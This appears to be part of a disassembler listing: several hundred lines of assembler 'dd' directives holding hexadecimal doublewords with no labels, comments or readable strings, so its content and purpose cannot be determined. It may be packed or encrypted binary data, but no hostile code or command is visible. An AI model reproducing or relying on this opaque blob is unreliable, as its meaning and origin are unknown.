		dd 8ADE1E82h, 4B9E56h, 0A7212802h, 1939FF12h, 9AA9A000h
		dd 994EE015h, 91380303h, 3B594166h, 86F7708Fh, 44F6E8DDh
		dd 737C1700h, 2C3D2EE6h, 32800067h, 155A10B1h, 0B3006259h
		dd 5BA41170h, 0A2CFA7h,	56767730h, 0F60BEA41h, 81148900h
		dd 85B32B7Dh, 1AE0EF6Dh, 0BEEE0075h, 7F4919D6h,	0D700E5F2h
		dd 58070A51h, 46BBE9h, 0EDDD9397h, 0C834D464h, 0C9440F00h
		dd 4A163B68h, 3A611D5Bh, 1BA14939h, 0CDC21003h,	4D63EE8h
		dd 0E1723000h, 0A718D308h, 0D27164h, 0F8E35782h, 6DABF381h
		dd 60CFFC00h, 0FB5E8C99h, 69700055h, 0C77EC2C1h, 0CD002D5Dh
		dd 39F9F7E7h, 29FA85h, 0B355765h, 0B5974938h, 34C3562Eh
		dd 5A8A8300h, 883445h, 2AA5BB0h, 4048B9ADh, 0D6D07200h
		dd 0B49F2AB2h, 0CC6D07BBh, 30BF9275h, 4D7964C1h, 14701749h
		dd 81E0F2BDh, 0DFE20731h, 3524F8h, 0A0D7778Ch, 97428F3Eh
		dd 476E48C0h, 45FC36h, 4A8D90B8h, 99577238h, 85140800h
		dd 0AE690E4Bh, 9C9067h,	0BAFC83ABh, 0D830A1DFh,	8EC50600h
		dd 0F0A8ADBFh, 0C03F00DEh, 634AC307h, 99582FDDh, 287C0092h
		dd 0DB2D7E3Ch, 0C7D900CBh, 468C500Ah, 0E00320CFh, 6F32C6DFh
		dd 625E8098h, 50D00044h, 0DD77186Dh, 0A400E9FBh, 31A1F02Fh
		dd 0B87A4E60h, 0ACFA48h, 0D17CE766h, 0FA3CAE90h, 1CDB2407h
		dd 0CB04CD9h, 0E5BC23h,	907956DAh, 1FA097F6h, 80CBBB3Ah
		dd 0BC543F81h, 8E13EEh,	0C899ECAEh, 8BFF45D1h, 0F53D3700h
		dd 5B2D2F24h, 97483B74h, 0C8E8783h, 0CEB8573Ch,	2F00FF37h
		dd 354DE644h, 9E36EFh, 6F1B9B89h, 2A2C91ECh, 0A745B007h
		dd 758095B5h, 0F19B7F2h, 5D297D64h, 375F65C0h, 0A801B28Dh
		dd 0F8013C8Bh, 0EBEDE189h, 3FB58AD4h, 3F8037CAh, 0F30FEF92h
		dd 301D0A2Ah, 0E8405B0Dh, 99C44034h, 0E771BBh, 635F7C71h
		dd 7FD01BEEh, 0EC0E0100h, 0B99D8272h, 2F681805h, 0B1A810F1h
		dd 0A4D55900h, 0F503293Eh, 63475E9h, 3A8D358Fh,	227C3986h
		dd 2BE6C07h, 0AB8056CDh, 0F93663h, 46A6D905h, 49BE5C2h
		dd 8743C33Dh, 4469D1E3h, 0B4A2B120h, 30921C09h,	2D203180h
		dd 40A44799h, 0A1B026D6h, 9A6BB70Bh, 0E10A80C6h, 0B3F33h
		dd 0C415F1ACh, 0BE0A26C0h, 0BA5DC200h, 0A66B3AF5h, 2238242Fh
		dd 0CD4B0B1Ah, 27C75801h, 6032F198h, 0EE032818h, 317759AEh
		dd 7F308070h, 0BF8C035Bh, 0E8091168h, 0F85C3490h, 20283803h
		dd 0D9755A93h, 0ACC39E94h, 3DBFBA80h, 1A5F00E7h, 16B127D7h
		dd 0D000BEE1h, 8912E056h, 0A54D2h, 9C80068Eh, 0E9A6FD1Eh
		dd 9FE78C00h, 0F65D44FEh, 0BD60048h, 0B94B53E3h, 64002432h
		dd 0FB1EC76Fh, 1EED9516h, 0C0DC2CD5h, 0C2832740h, 0AF3FD689h
		dd 0E2C017CEh, 7D020400h, 293F74h, 0D724BE1h, 143C1F26h
		dd 0E202BDF8h, 0FA34EBC2h, 33D44012h, 0E88A04DFh, 8068E1EAh
		dd 7A6B4750h, 0E4D0A800h, 0A2C6BD0Bh, 0AAD600F7h, 0CE28733Eh
		dd 570391B2h, 5A23BB2Ch, 0BF0CF0D8h, 0BCA831CBh, 0CCBDC8F0h
		dd 0D1009D1Ah, 25A74A5Ch, 0ED7B7Dh, 47B40DB3h, 3EA31387h
		dd 535CC505h, 0CD03BB5Ah, 0B2F04C2Ah, 65AF803Fh, 0C5F760Ch
		dd 36E893A5h, 0E30F3AF0h, 40D0AF57h, 0F5C28233h, 10EB007Ah
		dd 2D954C1h, 0A860A245h, 0C4E19354h, 101F217h, 0BA9F3234h
		dd 410F588Ah, 0D4862484h, 0A503B248h, 339C5BF8h, 18A9B89Dh
		dd 35942453h, 0E7C8075Ch, 0D9178319h, 6E7E23F0h, 3E6818C2h
		dd 256048F0h, 5B3C00BAh, 0A39DEB86h, 100F96CDh,	0A0DEDA4Fh
		dd 8FAE0F9Bh, 5A7CCFh, 76A1C645h, 2822031Fh, 3E59F900h
		dd 0CC2C0B8Eh, 7A640072h, 7391B1CDh, 0C900CF08h, 0FAD6E51Fh
		dd 9238DE47h, 172BE828h, 0C73CAh, 16575D0Bh, 1D07D3D8h
		dd 0F73EF4A4h, 10329130h, 0DAC30373h, 0D183AC4Ah, 0E4933BA9h
		dd 3416D8AFh, 470EBB6Ah, 33AC6551h, 7DCAB002h, 6B2010EEh
		dd 0ACBBA02h, 41DB59C2h, 0FDC46ACDh, 5C510015h,	0BE21F6C8h
		dd 7F00C4D4h, 0F15DF053h, 0F53BB9h, 0D26EE84Ah,	0C7502D5h
		dd 0BAF85A07h, 0FCB0E1C1h, 140DCC38h, 0A8D1941Eh, 44DBCA0Ah
		dd 0E1033CB8h, 14E0BA1h, 79DA86CBh, 0AAA943C0h,	0FC245090h
		dd 101E6887h, 0EC2D7C1h, 7BFCBD14h, 0FFEB01AFh,	7194A4F4h
		dd 407DCE09h, 1E20B7DCh, 25648066h, 0C700E45Ch,	45C2786Dh
		dd 2A5401E1h, 0F9790B36h, 56B9F818h, 7ABB40A0h,	8251E800h
		dd 0BE6A714Ah, 0EF7507AEh, 2683E0A2h, 4900B0B6h, 540B97FBh
		dd 0F370C2h, 0C35FC6C0h, 0D28320B0h, 779F3Dh, 0D333BA98h
		dd 324B34h, 2BB42A2h, 575FDDF2h, 90E04300h, 0E94D0468h
		dd 0A2AC02ABh, 0BCB85991h, 0E258FC62h, 8A1B2B3Ch, 9C6951C0h
		dd 6A000692h, 0BDE217D4h, 0C3360046h, 0D15FAD88h, 0DA003152h
		dd 691ADF55h, 57219h, 39A34FCFh, 81479BDBh, 74F5FA07h
		dd 58F0107Eh, 1C095113h, 0CB46EF89h, 7980AA91h,	0A7A6CFF7h
		dd 0A94B40BFh, 4A010077h, 2EA5ECFBh, 0A02C8C49h, 0CE00EBFDh
		dd 81712FD5h, 7253009Dh, 0A7806F73h, 521DD298h,	0F540FD0Eh
		dd 0C2D06177h, 0E6460074h, 1FC88153h, 7577E087h, 0EBC0FD1Eh
		dd 80003ADDh, 9395C91h,	3B840752h, 10B7338Bh, 1337E817h
		dd 0E7867900h, 185892D9h, 0FDD10126h, 32EC9F8Ah, 0D77AC499h
		dd 0E57943Eh, 60831CDCh, 0D3893866h, 0EF6F008Dh, 18ACA98h
		dd 0A0399358h, 48F08147h, 790C684Bh, 1A6E9ECh, 0DE646CCBh
		dd 60F3075Eh, 161C9142h, 78007FA4h, 193CF4Ah, 0F85800A2h
		dd 6B23BD1Ah, 0B4009952h
		dd 0DAACC8F4h, 1F3B445Dh, 8EBEF0h, 963A9DE7h, 2D04EFABh
		dd 0B54990CCh, 0DFA52480h, 519701EBh, 8B1006D6h, 76F6D4F9h
		dd 8E5A843Dh, 0E0B61B63h, 0CF1F192Eh, 0EE0600E4h, 0BDD70A0Eh
		dd 3B07BBA8h, 4CB30C10h, 0C7DE87A1h, 1BD45510h,	340046ECh
		dd 17B8CA3Eh, 0F9B663h,	0ED3DC15h, 9B25789Ch, 0C5310801h
		dd 0D52F268Dh, 8172A8DFh, 389C496Ch, 60248A2Eh,	4032F43Eh
		dd 0AF1A1800h, 8AF23C54h, 56050051h, 0C416CC35h, 0C00125CFh
		dd 0CD49B393h, 6030BF98h, 1376004Ch, 0A958052Ah, 0EDFE1E01h
		dd 5CFC1800h, 91790687h, 0F9ECC0h, 70CF7A39h, 91A8DC3h
		dd 170CA400h, 8BA226BDh, 52730546h, 0C038EDDFh,	9BCEB5BAh
		dd 0C0F09900h, 8EBB0B95h, 0F1690022h, 0A9E36232h, 723AE5CFh
		dd 35D5007Eh, 69AB7B25h, 6BFA82h, 7564D0B4h, 0FAB0586Ah
		dd 485A4Ch, 0F3C1ACD3h,	0B56961h, 0A567B6EBh, 9AE66E3Ch
		dd 50FB4037h, 34B1A470h, 77ED1CEAh, 0BBB640ECh,	9197750Eh
		dd 92F1C00h, 4FBD2C33h,	0CF43003Fh, 0E70D6DC4h,	0FF00712Dh
		dd 82738B47h, 0EF270257h, 0EF6E8FD4h, 88915898h, 0E0A4A2C5h
		dd 9E517A00h, 0C2EDE3EBh, 0BFAC002Bh, 1C85D5EEh, 0A6007258h
		dd 43C7E28Eh, 3F2A86D0h, 87B86B77h, 594CC001h, 0D0179D53h
		dd 0BA06F9C8h, 2C1354D4h, 2A010010h, 5FD36C52h,	60002BFAh
		dd 91F71E07h, 0F0AA3A0h, 0AA45B34Fh, 8A42420h, 6B3D4035h
		dd 7C5F8029h, 890A5728h, 0C6050004h, 0F1467D7Ah, 2903CF27h
		dd 1A41C7D6h, 0D26DF178h, 0BB9BCD0h, 5FA0EE93h,	0BEF02D5h
		dd 8D16E0A7h, 0DF900110h, 87D79DF6h, 2AC06052h,	0AB19E902h
		dd 0C06C2D08h, 7544F7Fh, 0F43DD44h, 9B9CD075h, 6D5885E3h
		dd 0EBD9003Bh, 123C182Dh, 0E87B5914h, 4009DD17h, 0CEE5B8B0h
		dd 0C41E295Eh, 0C5C0F71Ah, 20473EC1h, 0D31F3CBAh, 8224B00h
		dd 8336E4A9h, 3538371Fh, 7B3B07FBh, 96068D0h, 7F3C945h
		dd 8B9466D1h, 64A08B2Ch, 6497D7EFh, 95E31903h, 0E8B75671h
		dd 31853Ch, 82908C6Ch, 38B4260h, 0AD0324B8h, 0BA6C97Eh
		dd 0C63098BAh, 2FEF00B0h, 941DECB5h, 461C1ECDh,	0EB0056D8h
		dd 34E1A227h, 0C09158CCh, 287AF10Bh, 0CBD28A07h, 762AC4A2h
		dd 0A8000452h, 9843C0CFh, 74F93B6h, 843C7DBAh, 0C2A0E3DDh
		dd 0FF9E1CE8h, 0BB896600h, 0A9E899CAh, 7AF90CEDh, 90802D72h
		dd 0E6E1AB00h, 0FC433305h, 786F493h, 44255A51h,	0D449D009h
		dd 0E401F4ACh, 0BD2AFEA1h, 5C306CE7h, 79AF3A53h, 2E4BE800h
		dd 46756FEEh, 2969F500h, 0E39128F2h, 0A77768h, 66EB33C7h
		dd 1831103Ah, 43BD9209h, 7D84209Bh, 0B40261h, 2F06256Ah
		dd 0FB628D85h, 65441700h, 40A6E54Dh, 0AE3F009Bh, 2803EEA5h
		dd 97000709h, 4ED8191Fh, 75B15C3h, 8088B9DAh, 0A6A568h
		dd 0EC34C6E0h, 0AE1CAFBAh, 19C0ABE6h, 552B6B4Eh, 4A3D740Ah
		dd 17C422C8h, 0B8C5A860h, 5F47D00h, 8F84EB4Ah, 0C85805FFh
		dd 0C7413574h, 2D7F1004h, 0CD00DF47h, 0CEAAAB09h, 30C856Dh
		dd 68E4F996h, 23B0AC15h, 44007DA5h, 345ABDE0h, 3D2CFDBh
		dd 0D450618Dh, 0FFF055D8h, 6B00AA93h, 0EFEC2B7Eh, 0A07A3Bh
		dd 59C1D2B2h, 19D41DF4h, 6066FA07h, 8BF665h, 2CD28BCAh
		dd 0B5530087h, 0EEF2FEE3h, 263A1239h, 506480E1h, 923616D5h
		dd 0C7B30018h, 43B1991Eh, 4900F8EFh, 0A2DC8C9Ah, 587EE58Ah
		dd 175AB68h, 0A360EBDh,	0C960B422h, 5948601Dh, 9B717300h
		dd 6FF42096h, 39420B61h, 70005CD2h, 0BCFB3156h,	8E0034FAh
		dd 6C3F0A26h, 575BA4h, 300B0360h, 113CC33Bh, 5E618E00h
		dd 422CC1DAh, 3A28002Bh, 0D783BE21h, 0FF02740Ah, 0B29518F2h
		dd 0BFBC609Bh, 54D500C9h, 0BA39691Fh, 0D4071115h, 30FCF8DAh
		dd 40E6D10h, 51680C08h,	3591B654h, 11CDF800h, 4859C8Fh
		dd 0F0DB0A0Dh, 10B716h,	0C7153833h, 0F60859Bh, 230E6108h
		dd 28CC4DBEh, 0B66E4602h, 0ED866F13h, 0D800083Fh, 69E06506h
		dd 20C092h, 140FB0FEh, 0D218BF77h, 4A605D6Ah, 8A469F03h
		dd 0F308E096h, 78A860CEh, 0E36C590Bh, 838980FBh, 9BBFB8F9h
		dd 0AA390ED7h, 0D66111D3h, 7D0C143h, 3F940AB3h,	7F30D190h
		dd 9BC64DD0h, 0BA0CBCB8h, 21958448h, 1C5A500Fh,	0B8676013h
		dd 7C5153DFh, 6A4EBA01h, 0BCA6B93Eh, 0CC30ECh, 5BFF75A7h
		dd 0C9E85054h, 0D30DC300h, 7202ACEAh, 3F7401E2h, 0CE0F4C71h
		dd 9F2FCCA1h, 149C8300h, 0CD8F75DAh, 664700F8h,	4F8723BEh
		dd 9D0EA2BFh, 0C04DDB7Bh, 0ED140582h, 0DC0019Ch, 3D123B49h
		dd 0E0E8E861h, 0DCBCC500h, 0CBDF4E24h, 5F500EB2h, 35E02B6Fh
		dd 55466ADBh, 4C5D0D00h, 9971E807h, 53360081h, 92275EF9h
		dd 0D00F7384h, 0F5C2E7h, 0DBC3E3A1h, 0E17E1494h, 0C813D4D9h
		dd 55CC00B6h, 9CF8421Dh, 9ECCC03h, 981AD39Eh, 4E27FAh
		dd 2E3BA2C7h, 2F017C95h, 0D26020E8h, 4D3CD420h,	0A4D81E22h
		dd 0D39A001Fh, 0FDF7A3E9h, 0B1C4A01Dh, 3002996h, 2B2AB33Ah
		dd 692C64DEh, 4E3260EFh, 0E3A223BAh, 0D1C908h, 7F4E7057h
		dd 931889D7h, 5D389B65h, 9DB6286Ah, 0F1790080h,	49F9C33Ah
		dd 0CA002785h, 0C1A5ABDEh, 7AF3934h, 19ADFE9Bh,	7091972Eh
		dd 0CA9AC7E4h, 37E12F03h, 6F591FAFh, 0D9AED9A8h, 0C0206E83h
		dd 2F31101h, 0CE4457D5h, 184CCBDBh, 201B2E09h, 0D407EB13h
		dd 0B7FF50C5h, 39C946h,	458ED6E0h, 0BFB42BBCh, 0E2A57F05h
		dd 8400E15Bh, 79785F1h,	0B3C33EC4h, 19E0F718h, 0EF7465h
		dd 2A0E9214h, 38B00DADh, 2780BC3Ah, 0B95DBDB4h,	5C74559Bh
		dd 0CD214160h, 0C1E322h, 7EC0F917h, 438E4D73h, 62F85900h
		dd 19980669h, 82AF00C9h, 2BE0FB5Ch, 3E00635Eh, 7B1A6DF8h
		dd 5D3A6Eh, 8BF779E3h, 22BB2745h, 92532300h, 83FAC781h
		dd 3E070028h, 0CC520DBh, 0B9003413h, 0D5F84FEh,	75D11DB5h
		dd 0F9FB01E7h, 85769A74h, 30E0C9C2h, 1A005383h,	0AF5F8BCh
		dd 76E5E8FDh, 42DD0008h, 0C93270B9h, 22074733h,	0BF61E145h
		dd 7986F1A1h, 107E0E8h,	16EB31CFh, 0F5FFA956h, 0E839703Eh
		dd 0DC935400h, 72077C6Fh, 0EA690097h, 86B26E6Ch, 0B907B3CEh
		dd 0DEF07E80h, 0D1A50990h, 7B07370h, 5DFC4450h,	33BA3060h
		dd 3700AB08h, 8261B9B1h, 60313A51h, 0CD0140C5h,	0E178AA5Fh
		dd 0E2B44005h, 38805A12h, 3BDA62Ch, 48F40BA9h, 14E0FF78h
		dd 8A07C6CFh, 34E006B2h, 5D208090h, 0F66B0030h,	50E3B874h
		dd 0BD02FE6Eh, 6F489522h, 441BC076h, 0D272DEh, 912E6B12h
		dd 0C1FE3CF6h, 0B4AC2600h, 2DA4E1B9h, 0DAF5000Ch, 3F3EAA1Ah
		dd 0CC00F72Eh, 37B5E040h, 6080E198h, 2149D842h,	4012B6Ch
		dd 5899ACA3h, 1888FBE9h, 394189C9h, 31800CB0h, 0FA9C0D31h
		dd 0E93C1A30h, 65CA0F1Fh, 8984E00Ah, 254354h, 2CCEC46Ah
		dd 0F321FBCFh, 7A0C3998h, 10FC0336h, 5804A52Dh,	0BC00015Ah
		dd 0F6242E0Ch, 0B5EB61h, 0FFBD9D67h, 2D9E9B21h,	5B0E997Fh
		dd 0A1246382h, 0DFE60323h, 0BC592888h, 903AC488h, 0CBDA84C6h
		dd 42BBD544h, 497F5A7h,	0E579219Ah, 10B71111h, 808A043Ah
		dd 0B180645Eh, 884D0070h, 0F105635Ch, 1B0E1710h, 0E0453CEDh
		dd 0B12D0298h, 0B9031C46h, 6DA5806Ah, 0BE16AF77h, 532AE000h
		dd 3608A157h, 3DD500DCh, 9462C2A6h, 89002FFAh, 93323EFFh
		dd 0D2CE22h, 38B26555h,	988C4126h, 0F7A481E5h, 0A01EBD51h
		dd 6044FCh, 0F41D6705h
		dd 1AAAF874h, 94CFE500h, 0F13987D0h, 0A35A0370h, 2B66A5E3h
		dd 294815B8h, 8E67BF38h, 74B7A2Fh, 0C68073D2h, 39B57805h
		dd 2283C57Bh, 0A77C96CDh, 0DDF0FCF8h, 6C28C403h, 0A8C9909Ah
		dd 55AAD917h, 3DE5E005h, 44A8B980h, 5B6C54FBh, 0E80B3F07h
		dd 990AD01h, 0F65FFC3Eh, 2F960B91h, 35831B18h, 7D80D4FAh
		dd 5400F611h, 38AAF548h, 0F40B51A9h, 63CB0191h,	89989CD3h
		dd 0C355F469h, 999AD109h, 0F120006Eh, 0F427BE61h, 8D680089h
		dd 410F31B0h, 0C00F6CE1h, 605DA14Ah, 2FE3C4C1h,	0D0AC0378h
		dd 2ECBA48Ch, 55F92290h, 68F8B107h, 3F6095ADh, 58F1A7h
		dd 9C5B1F90h, 6AD52A72h, 0BEBDDB00h, 43D3211Dh,	0CD67003Ah
		dd 0AA98D1A4h, 623CB314h, 827D00FDh, 7AA10B1Dh,	0DF90000Dh
		dd 0F3F98625h, 0A7EEC25Bh, 46A5192Eh, 0B862AB00h, 1FD9FF51h
		dd 4EDCA173h, 3680504Bh, 0C0C976CEh, 74345A03h,	0A89788C8h
		dd 0FDA6BEh, 0E256C55Dh, 16A8755Ch, 68D08F00h, 5B636AAFh
		dd 40770779h, 0A3BE69A5h, 0E6D01E47h, 2907866Ch, 567A6C3h
		dd 0A82F4940h, 0F591A007h, 168E0021h, 0E26F4058h, 4E2E91A9h
		dd 3E6798h, 6BB53227h, 0F28B8h,	5392C92Eh, 1C46D80Eh, 75874A1Fh
		dd 9CE14947h, 0AFF019A0h, 0B9290005h, 6072FAC8h, 0DB0047EFh
		dd 23FD6C18h, 16487DC6h, 593FF6h, 0B610506Bh, 6C00E7C9h
		dd 0F3FB9FEDh, 8C52A4h,	0D4D5FC1h, 46DF7B6Fh, 69FD4001h
		dd 0F1539F4h, 1C57B3C0h, 3A89199h, 6CE9426Ah, 18FDFFB0h
		dd 0C900AEE2h, 0E59E7020h, 5CC458FBh, 4A50C82Ch, 6A1500A7h
		dd 80F3661Dh, 0D6000C7Ch, 8F9BD434h, 1BCD43h, 0D16291F1h
		dd 5FC6E1EBh, 0B50F6501h, 87203FE8h, 2A8B99EBh,	1D85883h
		dd 0BAA80681h, 38C0EB4Eh, 4992CD65h, 6B48008Dh,	81DDECDCh
		dd 2F007CD8h, 10A94064h, 0B88B42E6h, 0E8F1502Ch, 66FCC7h
		dd 44DE208h, 0F6EF3DB9h, 0DA3039h, 0B8FF2DB6h, 74E2AED1h
		dd 3F6100B4h, 7955EEA8h, 0F900999Dh, 9B757138h,	86BED5h
		dd 0D5E8CABh, 3BF0B5F3h, 0C8132DF6h, 1F0759AAh,	0E9702FE8h
		dd 122FB43h, 0BD0E0CD4h, 0DCF55A92h, 6A2FFD6Fh,	0A483414Dh
		dd 14933E0h, 0EA1D5DB4h, 0F811837Fh, 0FC00AC1Bh, 0D2C0B8CAh
		dd 0C16007h, 0F1F459FDh, 4CCB13F2h, 91F62300h, 0B7F0824Ah
		dd 0D13F00B8h, 90149AE3h, 0F3009795h, 0C2178305h, 1EC79980h
		dd 3D49402Dh, 0DDD5200h, 7482965Ch, 3A30B900h, 62E80686h
		dd 0AD6F001Ch, 0EC49FB4Bh, 7000B68Eh, 82F73DEAh, 56145Eh
		dd 0B727C9B3h, 81546217h, 840B5302h, 815AAF94h,	252A93D0h
		dd 7AB9CCh, 67C91CA1h, 78EC41C3h, 0C561CA0Fh, 6DF90352h
		dd 967E0127h, 5D169A06h, 60BC47AAh, 0A51822EBh,	0D23B5600h
		dd 60BACB66h, 0C24D0055h, 70F806C9h, 0CA0BEFDEh, 73AA88Bh
		dd 0D1102001h, 1C0B9240h, 0A9D683h, 8D65AE75h, 0CC0097E1h
		dd 1A07876Ah, 0F6CFA6CAh, 0DFD00131h, 0C4D5F87Fh, 961420E7h
		dd 0F0FAEE00h, 7D8CE4A4h, 0B24D3F22h, 5A3D6200h, 5389C038h
		dd 9873E024h, 6B166F00h, 8070025Bh, 40FF0B97h, 0EFB93CF0h
		dd 71F3D000h, 0C3FD621h, 0D4B50014h, 0C381B41Bh, 0E2004840h
		dd 38FD4163h, 3A9EEAEh,	248A58EDh, 190059AFh, 1949503Ah
		dd 3A77A205h, 0EA80A503h, 57B45EA3h, 71C0CE15h,	8DC098A8h
		dd 1E3E7811h, 0C0F2F00Ch, 0B8C85F4h, 0BF01B13Bh, 0A15056CBh
		dd 7608EEFh, 34640079h,	6FF7E123h, 504C468h, 3304F5AEh
		dd 0CF52A300h, 8D01E217h, 0DAD2A0B6h, 0FC70321Eh, 0FCD0E16h
		dd 0FB2A2F29h, 80FF1CA0h, 0F8EE9BEDh, 0D80073B9h, 0AD17F738h
		dd 341EC4Ah, 0CDB8A0CAh, 2FDB3BA2h, 0B2FBDAB0h,	82D8B500h
		dd 1D2C372h, 8390099Dh,	698068E1h, 8F3EBF4Eh, 6D0742FEh
		dd 604C07EAh, 0EE11D6C0h, 3089007Fh, 5DD14584h,	0B498C6E6h
		dd 18C00490h, 0A61BE9FAh, 0EFFF62Ah, 0F3EAA049h, 35DBA520h
		dd 4EE256E2h, 0C9F3D390h, 221820E1h, 50DDD500h,	830AD963h
		dd 0FA71000Fh, 0A9F8E569h, 0AFF2E9A3h, 0C65968FAh, 0CE4C0F48h
		dd 0BD97206Ah, 0B15A17h, 841B4FF2h, 195BAA7h, 56CA5B00h
		dd 19D433D6h, 0F2BD0082h, 5C593E6Bh, 0E358E872h, 0FDD200C6h
		dd 9AB50256h, 0A8D603F7h, 0C4D1D4D5h, 6AE0E0EFh, 4800208Bh
		dd 2CA7AD67h, 0EF3EC1h,	0C71A7C99h, 7F292552h, 95FF3216h
		dd 90D0AF03h, 4790F72Eh, 0D6B4FDh, 0D55531ECh, 0E2727E14h
		dd 1E51F53Eh, 4C4ED239h, 84EF401Fh, 0F61964h, 0FD469412h
		dd 0BCAB7D68h, 8014573Ah, 99CFD7FBh, 395256h, 101C77A8h
		dd 0F94E9541h, 96F28B00h, 58546BD9h, 772FC56h, 5718A0F7h
		dd 0EBCDF0FEh, 917C4151h, 33D8EA00h, 0CBB2C760h, 3B81005Bh
		dd 1180CFA8h, 4B00F5D2h, 88E4761Ch, 3992F4E9h, 0FFCC1D38h
		dd 0AB097700h, 9F0AE07Fh, 6740F000h, 6475EA16h,	78AD00C0h
		dd 0A2AEC963h, 203021DBh, 43455468h, 1D30E2A8h,	8046EAC4h
		dd 8D1EFD65h, 0C601FBF3h, 0B8359F41h, 38FCF6DEh, 28E20488h
		dd 80D892D6h, 6261340Ch, 0FA190500h, 0EB86A713h, 0B8EE4C77h
		dd 1C3E6D07h, 0CA3090FEh, 0D30059F6h, 0A5327BA6h, 9A80885h
		dd 31144224h, 0C63BCA0h, 170E6E45h, 602D2960h, 0EFCD3559h
		dd 0E84F15FFh, 5120EC3Ah, 0C25D0500h, 1EF36770h, 59150B09h
		dd 248071DCh, 543CE72Dh, 4BB26200h, 5B7CD10Dh, 59AB0334h
		dd 22EFAEEBh, 0EABE93C8h, 8C110303h, 0D0F73A96h, 6BCAE6h
		dd 94F486E9h, 0B3EFC6D8h, 19A38310h, 0DF92CF39h, 9EDC404Eh
		dd 74634CE0h, 0F05C0A2Ch, 25A20D00h, 51A5F7h, 1D89F379h
		dd 0D5D9E037h, 88E37700h, 0F2E2247Ah, 3D3709Ch,	4EFC2DF7h
		dd 1C803D55h, 3398B9A6h, 0D94DC700h, 0CD36AAC3h, 4A750068h
		dd 0D15CC9D6h, 5800855Fh, 0CA52A538h, 0F39DE2Eh, 93A9AE6Fh
		dd 0D92D87h, 80512CC2h,	0E5BC58h, 8B0AA847h, 52FB50h, 12DD6ABAh
		dd 0CDD63976h, 35112C01h, 47F034F9h, 1D200FC7h,	3C60C62Eh
		dd 0D3827B0Dh, 8C0042E2h, 6526E91Fh, 0F48EC7h, 1DB22C19h
		dd 0D6E575C4h, 0E7F1B00h, 35F655D2h, 0D727009Ch, 0DD46685Fh
		dd 0E616C0CDh, 8C004BB8h, 8DDAE210h, 7ED530C2h,	98542F50h
		dd 1111FC30h, 0AFFB2Ch,	9F16FE50h, 43AEAD73h, 0AAD53Fh
		dd 8341DEE4h, 98B577B2h, 0BC3000CCh, 0D3FA8E54h, 46004A55h
		dd 0DBC114F8h, 58D834D5h, 95045597h, 80D24DC6h,	0D7A19624h
		dd 5FB43C58h, 850ADFECh, 90C24Bh, 2C9BCAE1h, 8300DAC9h
		dd 4A4015F4h, 50AA49C4h, 7A98D3h, 0B686B26Ah, 62AFB1E9h
		dd 3AF6F706h, 0E420CCEBh, 1342006Ah, 7192128h, 91073E75h
		dd 0B997FFAAh, 834FA801h, 0E137FD8h, 43B174D4h,	0E3697600h
		dd 0B700C335h, 0EEDA4096h, 0EE88E0DCh, 0F64A3385h, 5BA067A1h
		dd 0B60040E6h, 728B8DEDh, 2550F9h, 2C3F0BD1h, 0DA209A01h
		dd 0B163C400h, 0DB96FF46h, 69C30032h, 0DE22319h, 2C009461h
		dd 0A31D30F2h, 677E93h,	0B4636840h, 0BCC3DB73h,	0D0C94830h
		dd 0B728A0h, 71014B6Bh,	31B398CDh, 2567D601h, 3517D2BDh
		dd 0DF1BE0h, 0CDED7BC2h, 0E1C6A84Dh, 18FD9400h,	23A46811h
		dd 74C300B6h, 71C2D6BFh, 0C81E7B30h, 3AC08D97h,	0B04B3E3Bh
		dd 0AD190A14h, 0E23447h, 73ACFB8Fh, 680593AFh, 19CA9E72h
		dd 1F2FF307h, 9828FA90h, 0FCA0001Dh, 0A2692B29h, 3E0095D7h
		dd 0DF56744h, 32C45CABh, 0D57217FEh, 0DDBE8580h, 300FC58h
		dd 0CE8D7023h, 3079437Fh, 7439F2F6h, 50065CAAh,	6F234F56h
		dd 3F4507F8h, 0A3AB46C1h, 8BC8C314h, 5890CB1Ch,	5E897317h
		dd 7C819400h, 164E0E66h, 0D458BCh, 0E1142178h, 2900BDE6h
		dd 8A1A3234h, 6B52CBEh,	6179421Bh, 931D79AAh, 0C3CA5CA8h
		dd 0AF80A436h, 0CAA3ECC9h, 7791ECBEh, 0CC0F542Ch, 0B94900F0h
		dd 0C81022F8h, 8012E27h, 0D4A4F4D0h, 0B6C8DB8Bh, 7B6100B3h
		dd 0FEC5D2ADh, 95003DCEh, 8444CF67h, 2466957h, 3E37E29Fh
		dd 3040C6CDh, 5A75560Bh, 8B3F5E0Ch, 0A0FCE0F5h,	0BC2920h
		dd 5CD3CB90h, 26693BDEh, 0DDEF6402h, 8ADC5E15h,	5000C8ACh
		dd 23E8D9B2h, 4E840316h, 0E44C1067h, 537244F1h,	0DED0ECB8h
		dd 0B5001365h, 0B7B058C9h, 98F5681Ah, 4D44A0F1h, 0A35E00BAh
		dd 3A0F1574h, 0F0F834A5h, 0F519BC00h, 941FAF43h, 0F70B0F1Bh
		dd 0BB034C51h, 0BD9832D8h, 0DB3C53C6h, 0CEC3805Fh, 36236D75h
		dd 45BF004Bh, 0AFCB816Bh, 82052BF9h, 0A99DE1A7h, 62BA2D80h
		dd 7F573956h, 8F032A7Fh, 0E0C1EC4h, 0CB8AC071h,	0FD2895AEh
		dd 0E2606900h, 0E74AB6A2h, 23CD3E0Eh, 0B3135D00h, 0AE6C40C7h
		dd 253DBB00h, 0DD95A0A1h, 0B4A50083h, 675373CFh, 7D0060EDh
		dd 0A066E2F2h, 1CB53DC1h, 47F56ABBh, 0C0559AF8h, 85371F4Ah
		dd 6C3F6909h, 24008215h, 9A15E0F3h, 0D0C45060h,	13FC00F6h
		dd 0B943B0CEh, 877B37Ah, 4A7FFA0Eh, 6000727Bh, 27E046E7h
		dd 198C1872h, 8AB838C0h, 5CF2300h, 0E412FEE6h, 0A1F5F4ABh
		dd 0B0E8D4C4h, 0BD6D001Fh, 4F7E7469h, 0F300C953h, 72B93198h
		dd 1341640h, 0DFE23B22h, 0ECDE2AEDh, 7002D63h, 60DF2CBh
		dd 3F3FDB16h, 8001ED1h,	0AFEB1968h, 6E5007FFh, 0B41CC8F4h
		dd 78C05E85h, 6C2F3370h, 1706005Ah, 390E8ADCh, 0F200FFF1h
		dd 36578CD6h, 4EFB23Ah,	5FE20B0Ah, 23B7C00Dh, 1C00A5A4h
		dd 0BED39642h, 0BBB43Ah, 0F8683FDCh, 0DA225080h, 61838C09h
		dd 0B12C00A3h, 985816D9h, 0DDF024Ch, 6E56CEE4h,	0C8C29480h
		dd 600436Bh, 8D49B902h,	241C98F5h, 3B386E92h, 0BB160E00h
		dd 0D79E0864h, 184A7400h, 9D50C442h, 581F7D5Bh,	7300A033h
